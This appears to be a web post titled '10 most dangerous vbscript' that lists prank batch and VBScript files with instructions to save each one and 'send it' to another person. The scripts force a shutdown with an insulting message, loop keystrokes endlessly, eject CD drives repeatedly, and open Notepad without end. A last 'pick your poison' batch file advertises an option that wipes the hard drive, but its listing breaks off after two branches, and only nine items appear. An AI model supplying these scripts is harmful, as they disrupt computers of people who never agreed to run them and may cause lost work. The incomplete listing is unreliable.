10 most dangerous vbscript {warning dont try}

10 most dangerous vbscript

1) Convey a little message and shut down
the computer:
Type :
@echo off
msg * I don't like you
shutdown -c "Error! You are too ******!" -s
Save it as "Anything.BAT" in All Files and
send it.

2) Toggle the Caps Lock button
simultaneously:
Type :
Set wshShell =wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
Save it as "Anything.VBS" and send it.

3) Continually pop out the CD Drive. If there
are more than one, it pops out all of them!
Type :
Set oWMP = CreateObject
("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Save it as "Anything.VBS" and send it.

4) Frustrate someone by making this
VBScript hit Enter simultaneously:
Type :
Set wshShell = wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
Save it as "Anything.VBS" and send it.

5) Open Notepad, slowly type "Hello, how
are you? I am good thanks" after some time
of clicking the file and freak someone out:
Type :
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject
("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "
Save it as "Anything.VBS" and send it.

6) Frustrate someone by making this
VBScript hit Backspace simultaneously:
Type :
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
Save it as "Anything.VBS" and send it.

7) Hack the keyboard and make it type "You
are a fool" continuously:
Type :
Set wshShell = wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop
Save it as "Anything.VBS" and send it.

8. Open Notepad continually in your
friend's computer:
Type :
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top
Save it as "Anything.BAT" and send it.

9) Hard prank: Pick your poison batch file.
It asks your friend to choose a number
between 1-5 and then does a certain action:
1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown
Type :
@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your
actions. Beyond this point it is you that has
the power to kill yourself. If you press 'x'
then your PC will be formatted. Do not
come crying to me when you fried your
computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two
Save it as "Anything.BAT" and send it.

Be careful use at ur own risk